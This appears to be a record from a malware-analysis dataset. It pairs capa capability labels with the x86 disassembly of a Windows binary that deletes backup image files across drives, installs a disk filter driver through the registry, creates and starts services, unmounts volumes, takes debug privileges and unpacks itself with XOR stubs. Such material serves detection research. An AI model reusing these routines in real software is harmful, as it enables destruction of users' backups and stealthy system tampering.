joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401a90
Capabilities:
Delete file
Get disk information

Disassembly:
sub esp, 0x210
mov eax, dword [0x4197b8]
xor eax, esp
mov dword [esp + 0x20c], eax
push edi
push 0x103
lea eax, [esp + 0x111]
push 0
push eax
mov byte [esp + 0x118], 0
call fcn.00408a00
push 0x103
lea ecx, [esp + 0x19]
push 0
push ecx
mov byte [esp + 0x20], 0
call fcn.00408a00
add esp, 0x18
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
lea edx, [esp + 0x10c]
push edx
push 0x104
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
cmp byte [esp + 0x10c], 0
lea edi, [esp + 0x10c]
je 0x401c2b
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
lea esp, [esp]
lea esi, [esp + 0x10]
mov eax, edi
sub esi, edi
mov cl, byte [eax]
mov byte [esi + eax], cl
add eax, 1
test cl, cl
jne 0x401b28
lea eax, [esp + 0x10]
add eax, 0xffffffff
jmp 0x401b40
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x401b40
mov ecx, dword [str.amresimg.bin]
mov edx, dword [0x4160ac]
mov dword [eax], ecx
mov ecx, dword [0x4160b0]
mov dword [eax + 4], edx
mov dl, byte [0x4160b4]
mov dword [eax + 8], ecx
mov byte [eax + 0xc], dl
lea eax, [esp + 0x10]
push eax
call ebp
mov eax, edi
mov cl, byte [eax]
mov byte [esi + eax], cl
add eax, 1
test cl, cl
jne 0x401b76
lea eax, [esp + 0x10]
add eax, 0xffffffff
lea esp, [esp]
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x401b90
mov ecx, dword [str.amrestor.bin]
mov edx, dword [0x4160bc]
mov dword [eax], ecx
mov ecx, dword [0x4160c0]
mov dword [eax + 4], edx
mov dl, byte [0x4160c4]
mov dword [eax + 8], ecx
mov byte [eax + 0xc], dl
lea eax, [esp + 0x10]
push eax
call ebp
mov eax, edi
mov cl, byte [eax]
mov byte [esi + eax], cl
add eax, 1
test cl, cl
jne 0x401bc6
lea eax, [esp + 0x10]
add eax, 0xffffffff
lea esp, [esp]
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x401be0
mov ecx, dword [str.amclone.bin]
mov edx, dword [0x4160cc]
mov dword [eax], ecx
mov ecx, dword [0x4160d0]
mov dword [eax + 4], edx
lea edx, [esp + 0x10]
push edx
mov dword [eax + 8], ecx
call ebp
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x401c10
sub eax, edx
cmp byte [edi + eax + 1], cl
lea edi, [edi + eax + 1]
jne 0x401b20
pop esi
pop ebp
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov ecx, dword [esp + 0x210]
pop edi
xor ecx, esp
call fcn.004043ce
add esp, 0x210
ret
Function at 0x401c50
Capabilities:
Print debug messages
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x810
mov eax, dword [0x4197b8]
xor eax, esp
mov dword [esp + 0x80c], eax
push esi
push edi
push 0x3ff
xor edi, edi
lea eax, [esp + 0x19]
push edi
push eax
mov dword [esp + 0x1c], 7
mov dword [esp + 0x18], 0x400
mov byte [esp + 0x20], 0
call fcn.00408a00
push 0x3ff
lea ecx, [esp + 0x425]
push edi
push ecx
mov byte [esp + 0x42c], 0
call fcn.00408a00
add esp, 0x18
lea edx, [esp + 8]
push edx
push 0x2001f
push edi
push str.SYSTEMCurrentControlSetControlClass71A27CDD_812A_11D0_BEC7_08002BE2092F
push 0x80000002
mov dword [esp + 0x1c], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x401d33
push edi
lea eax, [esp + 0xc]
push eax
push edi
push 0x2001f
push edi
push edi
push edi
push str.SYSTEMCurrentControlSetControlClass71A27CDD_812A_11D0_BEC7_08002BE2092F
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, eax
cmp esi, edi
jne 0x401df3
mov ecx, dword [str.ambakdrv]
mov edx, dword [0x4160d8]
mov al, byte [0x4160dc]
push 0xa
mov dword [esp + 0x18], ecx
lea ecx, [esp + 0x18]
push ecx
push 7
push edi
mov dword [esp + 0x28], edx
mov edx, dword [esp + 0x18]
push str.UpperFilters
push edx
mov byte [esp + 0x34], al
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x401df1
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
push edi
push str.UpperFilters
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x401d6a
push str.Failed_to_get_upper_fileters_value.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor edx, edx
mov dword [esp + 0xc], edx
jmp 0x401d6e
mov edx, dword [esp + 0xc]
xor eax, eax
movzx ecx, word [eax + 0x415ee8]
mov word [esp + eax + 0x414], cx
add eax, 2
cmp cx, di
jne 0x401d70
shr edx, 1
push ebx
mov ebx, edx
test ebx, ebx
push ebp
lea ebp, [esp + 0x42e]
jle 0x401dce
lea esi, [esp + 0x1c]
lea esp, [esp]
push 0x415ee8
push esi
call fcn.004042b5
add esp, 8
test eax, eax
jne 0x401dba
add edi, 8
add esi, 0x10
jmp 0x401dc4
mov cx, word [esi]
mov word [ebp], cx
add ebp, 2
add edi, 1
add esi, 2
cmp edi, ebx
jl 0x401da0
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x41c]
sub ebp, edx
push ebp
mov eax, edx
push eax
push 7
push 0
push str.UpperFilters
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop ebp
pop ebx
mov esi, eax
mov eax, dword [esp + 8]
test eax, eax
je 0x401e02
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x814]
xor eax, eax
test esi, esi
pop edi
sete al
pop esi
xor ecx, esp
call fcn.004043ce
add esp, 0x810
ret
Function at 0x401e20
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x810
mov eax, dword [0x4197b8]
xor eax, esp
mov dword [esp + 0x80c], eax
push esi
push 0x3ff
lea eax, [esp + 0x415]
push 0
push eax
mov dword [esp + 0x18], 7
mov dword [esp + 0x14], 0x400
mov byte [esp + 0x41c], 0
call fcn.00408a00
push 0x3ff
lea ecx, [esp + 0x21]
push 0
push ecx
mov byte [esp + 0x28], 0
call fcn.00408a00
add esp, 0x18
lea edx, [esp + 4]
push edx
push 0x2001f
push 0
push str.SYSTEMCurrentControlSetControlClass71A27CDD_812A_11D0_BEC7_08002BE2092F
push 0x80000002
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
jne 0x401f5e
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 8]
lea ecx, [esp + 0x414]
push ecx
lea edx, [esp + 0x14]
push edx
push esi
push str.UpperFilters
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401f5e
push ebp
push edi
xor edi, edi
test dword [esp + 0x10], 0xfffffffe
lea ebp, [esp + 0x18]
jbe 0x401f24
lea esi, [esp + 0x418]
lea esp, [esp]
push 0x415ee8
push esi
call fcn.004042b5
add esp, 8
test eax, eax
jne 0x401f0a
add edi, 8
add esi, 0x10
jmp 0x401f14
mov cx, word [esi]
mov word [ebp], cx
add ebp, 2
mov edx, dword [esp + 0x10]
add edi, 1
shr edx, 1
add esi, 2
cmp edi, edx
jb 0x401ef0
mov esi, ebp
lea eax, [esp + 0x18]
sub esi, eax
pop edi
pop ebp
jne 0x401f42
push 0x400
mov ecx, eax
push 0
push ecx
call fcn.00408a00
add esp, 0xc
mov eax, dword [esp + 4]
push esi
lea edx, [esp + 0x14]
push edx
push 7
push 0
push str.UpperFilters
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
mov eax, dword [esp + 4]
test eax, eax
je 0x401f6d
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x810]
xor eax, eax
test esi, esi
sete al
pop esi
xor ecx, esp
call fcn.004043ce
add esp, 0x810
ret
Function at 0x401f90
Capabilities:
Create service
Print debug messages
Start service

Disassembly:
sub esp, 0x204
mov eax, dword [0x4197b8]
xor eax, esp
mov dword [esp + 0x200], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push str.Enter_loadDriver:
mov esi, ecx
mov ebx, edx
call edi
push esi
call edi
push 0
lea eax, [esp + 0x14]
push eax
push 0x100
push ebx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebp, eax
test ebp, ebp
jne 0x401ff2
push str.OpenSCManager___Faild___n
call edi
xor esi, esi
jmp 0x4020d0
push str.OpenSCManager___ok____n
call edi
mov edx, dword [esp + 0x218]
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x24]
push ecx
push 0
push edx
push 1
push 0xf01ff
push esi
push esi
push ebp
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebx, eax
test ebx, ebx
jne 0x40207a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x40204e
cmp eax, 0x431
je 0x40204e
cmp eax, 0x420
je 0x40204e
cmp eax, 0x430
je 0x40204e
xor esi, esi
jmp 0x4020be
push str.CrateService___Faild_Service_is_ERROR_IO_PENDING_or_ERROR_SERVICE_EXISTS___n
call edi
push 0xf01ff
push esi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x402073
push str.Failed_to_open_service_n
call edi
xor esi, esi
jmp 0x4020be
push str.OpenService___ok____n
jmp 0x40207f
push str.CrateService___ok____n
call edi
cmp dword [esp + 0x218], 2
jb 0x4020b9
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x4020b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x4020ae
cmp eax, 0x420
je 0x4020b2
xor esi, esi
jmp 0x4020be
push str.StartService___Faild_ERROR_SERVICE_ALREADY_RUNNING____n
call edi
mov esi, 1
test ebx, ebx
je 0x4020c9
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push str.Leave_loadDriver:
call edi
mov ecx, dword [esp + 0x210]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004043ce
add esp, 0x204
ret
Function at 0x402100
Capabilities:
Delete service
Print debug messages
Stop service

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push edi
push str.Enter_UnloadDriver:
mov edi, eax
call esi
push edi
call esi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebp, eax
test ebp, ebp
jne 0x402148
push str.OpenSCManager___Faild___n
call esi
push str.Leave_UnloadDriver
xor ebx, ebx
call esi
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x1c
ret
push str.OpenSCManager___ok____n
call esi
push 0xf01ff
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x40216d
push str.OpenService___Faild____n
call esi
xor ebx, ebx
jmp 0x4021b2
push str.OpenService___ok____n
call esi
lea eax, [esp + 0x10]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x40218d
push str.Failed_to_stop_service._n
jmp 0x402192
push str.ControlService___ok___n
call esi
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x4021a6
push str.DeleteSrevice___Faild___n
jmp 0x4021ab
push str.DelServer:DeleteSrevice___ok___n
call esi
mov ebx, 1
test edi, edi
je 0x4021bd
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push str.Leave_UnloadDriver
call esi
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x1c
ret

Function at 0x4021e0
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x24
xor eax, eax
push str.kernel32.dll
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x402285
push str.Failed_to_get_kernel32.dll_handle_n
call fcn.0040487a
add esp, 4
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [esp + 0x18]
movzx ecx, word [esp]
push eax
push ecx
push str.Current_OS_is__d_ProcessorType:__d_n
call fcn.0040487a
mov eax, dword [esp + 0xc]
add esp, 0xc
cmp ax, 6
je 0x4022a4
cmp ax, 9
je 0x4022a4
cmp ax, 7
je 0x4022a4
mov eax, dword [esp + 0x18]
cmp eax, 0x898
je 0x4022a4
cmp eax, 0x21d8
je 0x4022a4
push str.Current_OS_is_not_64bit._n
call fcn.0040487a
add esp, 4
xor eax, eax
add esp, 0x24
ret
push str.GetNativeSystemInfo
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40229c
push str.Failed_to_get_GetNativeSystemInfo_n
jmp 0x402221
lea ecx, [esp]
push ecx
call eax
jmp 0x402233
push str.Current_OS_is_64bit._n
call fcn.0040487a
add esp, 4
mov eax, 1
add esp, 0x24
ret
Function at 0x4022c0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x30
mov eax, dword [0x4197b8]
xor eax, esp
mov dword [esp + 0x2c], eax
xor eax, eax
push esi
mov dword [esp + 0x11], eax
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
mov dword [esp + 0x1d], eax
mov dword [esp + 0x21], eax
mov dword [esp + 0x25], eax
mov dword [esp + 0x29], eax
mov word [esp + 0x2d], ax
mov byte [esp + 0x2f], al
mov dword [esp + 4], eax
mov dword [esp + 0xc], eax
lea eax, [esp + 4]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
mov byte [esp + 0x24], 0
mov dword [esp + 0x1c], 0x20
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
neg esi
sbb esi, esi
inc esi
je 0x40238f
lea ecx, [esp + 8]
push ecx
mov ecx, dword [esp + 8]
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push str.CurrentBuild
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
neg esi
sbb esi, esi
inc esi
je 0x40238f
lea edx, [esp + 0x10]
push str.10240
push edx
call fcn.0040481c
add esp, 8
test eax, eax
jne 0x40238a
lea eax, [esp + 0x10]
push str.10586
push eax
call fcn.0040481c
add esp, 8
test eax, eax
jne 0x40238a
xor esi, esi
jmp 0x40238f
mov esi, 1
mov eax, dword [esp + 4]
test eax, eax
je 0x40239e
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x30]
mov eax, esi
pop esi
xor ecx, esp
call fcn.004043ce
add esp, 0x30
ret
Function at 0x403a30
Capabilities:
Unmount volume via ioctl

Disassembly:
sub esp, 0x20
mov eax, dword [0x4197b8]
xor eax, esp
mov dword [esp + 0x1c], eax
mov ecx, dword [str.._:]
mov edx, dword [0x416cc8]
mov ax, word [esp + 0x24]
push ebp
push esi
push edi
xor ebp, ebp
push ebp
push 0x20000000
mov dword [esp + 0x20], ecx
mov ecx, dword [0x416ccc]
push 3
mov dword [esp + 0x2c], ecx
mov ecx, dword [0x416cd4]
push ebp
mov dword [esp + 0x2c], edx
mov dx, word [0x416cd0]
push 3
mov dword [esp + 0x24], ecx
mov word [esp + 0x34], ax
mov word [esp + 0x24], ax
mov word [esp + 0x38], dx
mov edx, dword [0x416cd8]
push 0xc0000000
lea eax, [esp + 0x30]
push eax
mov dword [esp + 0x30], edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov esi, eax
test esi, esi
je 0x403abc
cmp esi, 0xffffffff
jne 0x403ac6
mov ebp, 0x23
jmp 0x403b58
push ebx
mov ebx, dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 0
lea ecx, [esp + 0x18]
push ecx
push 5
push 0x80
call ebx
push 0
lea edx, [esp + 0x14]
push edx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
push 0
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0
push 0
push 0x8000e010
push esi
call edi
test eax, eax
jne 0x403b16
mov ebp, 0x101101e
jmp 0x403b57
push 0
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
push 0
push 0
push 0x90020
push esi
call edi
push 0
lea edx, [esp + 0x28]
push edx
push 2
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
test eax, eax
jne 0x403b47
mov ebp, 0x111101e
jmp 0x403b57
push 0
lea eax, [esp + 0x18]
push eax
push 5
push 0x80
call ebx
pop ebx
test esi, esi
je 0x403b7f
cmp esi, 0xffffffff
je 0x403b7f
push 0
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x28]
pop edi
pop esi
mov eax, ebp
pop ebp
xor ecx, esp
call fcn.004043ce
add esp, 0x20
ret

Function at 0x403ba0
Capabilities:
Get disk information

Disassembly:
push ebx
push ebp
push esi
push edi
xor ebp, ebp
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebx, eax
xor edi, edi
mov esi, 1
mov ecx, edi
shl esi, cl
test ebx, esi
je 0x403bcb
lea ecx, [edi + 0x41]
call fcn.00403960
test eax, eax
je 0x403bcb
or ebp, esi
add edi, 1
cmp edi, 0x1a
jb 0x403bb0
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
ret
Function at 0x403be0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x18
xor eax, eax
push esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
lea eax, [esp + 4]
push eax
push 0x28
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, eax
test esi, esi
je 0x403c67
lea ecx, [esp + 0xc]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov esi, eax
test esi, esi
je 0x403c67
mov eax, dword [esp + 4]
push 0
push 0
push 0
lea edx, [esp + 0x14]
push edx
push 0
push eax
mov dword [esp + 0x20], 1
mov dword [esp + 0x2c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov esi, eax
test esi, esi
je 0x403c67
mov esi, 1
mov eax, dword [esp + 4]
test eax, eax
je 0x403c76
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x18
ret

Function at 0x403c80
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x230
mov eax, dword [0x4197b8]
xor eax, esp
mov dword [esp + 0x22c], eax
push esi
push edi
push 0x228
lea eax, [esp + 0x10]
push 0
push eax
mov edi, 0xfffffffe
call fcn.00408a00
add esp, 0xc
push 0
push 2
mov dword [esp + 0x10], 0x22c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x403d15
push ebx
lea ecx, [esp + 0xc]
push ecx
push esi
call sub.KERNEL32.dll_Process32FirstW
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
lea esp, [esp]
lea edx, [esp + 0x30]
push edx
push str.explorer.exe
call ebx
test eax, eax
je 0x403d09
lea eax, [esp + 0xc]
push eax
push esi
mov dword [esp + 0x14], 0x22c
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x403ce0
jmp 0x403d0d
mov edi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov ecx, dword [esp + 0x234]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.004043ce
add esp, 0x230
ret
Function at 0x4043ce
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4197b8]
jne 0x4043d8
repz ret
jmp fcn.00406104

Function at 0x40923c
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x419a68]
je 0x409257
inc edi
cmp edi, 0x17
jb 0x409248
cmp edi, 0x17
jae 0x4093d7
push ebp
push 3
call fcn.0040f707
cmp eax, 1
pop ecx
je 0x4093a3
push 3
call fcn.0040f707
test eax, eax
pop ecx
jne 0x40928b
cmp dword [0x419024], 1
je 0x4093a3
cmp ebx, 0xfc
je 0x4093d6
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x41a780
push ebp
call fcn.0040801a
add esp, 0xc
test eax, eax
je 0x4092c1
push esi
push esi
push esi
push esi
push esi
call fcn.00405c19
add esp, 0x14
push 0x104
mov esi, 0x41a799
push esi
push 0
mov byte [0x41a89d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x409305
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.0040801a
add esp, 0xc
test eax, eax
je 0x409305
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00405c19
add esp, 0x14
push esi
call fcn.00408080
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x40934a
push esi
call fcn.00408080
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x41aa94
push 0x4149f4
sub ecx, eax
push ecx
push eax
call fcn.0040a986
add esp, 0x14
test eax, eax
je 0x40934a
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00405c19
add esp, 0x14
jmp 0x40934c
xor esi, esi
push 0x4149f0
push ebx
push ebp
call fcn.0040a8ce
add esp, 0xc
test eax, eax
je 0x40936c
push esi
push esi
push esi
push esi
push esi
call fcn.00405c19
add esp, 0x14
push dword [edi*8 + 0x419a6c]
push ebx
push ebp
call fcn.0040a8ce
add esp, 0xc
test eax, eax
je 0x40938e
push esi
push esi
push esi
push esi
push esi
call fcn.00405c19
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0040f54a
add esp, 0xc
jmp 0x4093d6
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x4093d6
cmp ebp, 0xffffffff
je 0x4093d6
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x419a6c]
push dword [esi]
call fcn.00408080
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x40f54a
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00405680
xor ebx, ebx
cmp dword [0x41ad80], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x40f620
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x40f700
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40f700
push eax
call fcn.00405612
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41ad80], eax
call esi
push eax
call fcn.00405612
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41ad84], eax
call esi
push eax
call fcn.00405612
mov dword [0x41ad88], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00408fc9
test eax, eax
pop ecx
pop ecx
je 0x40f5ee
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00405c19
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x40f620
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00405612
cmp eax, ebx
pop ecx
mov dword [0x41ad90], eax
je 0x40f620
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405612
pop ecx
mov dword [0x41ad8c], eax
mov eax, dword [0x41ad8c]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x40f6a5
cmp dword [0x41ad90], ecx
je 0x40f6a5
push eax
call fcn.00405689
push dword [0x41ad90]
mov esi, eax
call fcn.00405689
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x40f6a5
cmp edi, ebx
je 0x40f6a5
call esi
cmp eax, ebx
je 0x40f672
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f672
test byte [ebp - 0x18], 1
jne 0x40f6a5
lea eax, [ebp - 0x10]
push eax
call fcn.00409000
test eax, eax
pop ecx
je 0x40f68d
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00405c19
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x40f69c
or dword [ebp + 0x10], 0x200000
jmp 0x40f6e0
or dword [ebp + 0x10], 0x40000
jmp 0x40f6e0
mov eax, dword [0x41ad84]
cmp eax, dword [ebp - 8]
je 0x40f6e0
push eax
call fcn.00405689
cmp eax, ebx
pop ecx
je 0x40f6e0
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40f6e0
mov eax, dword [0x41ad88]
cmp eax, dword [ebp - 8]
je 0x40f6e0
push eax
call fcn.00405689
cmp eax, ebx
pop ecx
je 0x40f6e0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41ad80]
call fcn.00405689
cmp eax, ebx
pop ecx
je 0x40f700
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f702
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x2fcd1d6f
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e060
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e0d2
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x35ea6be7
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219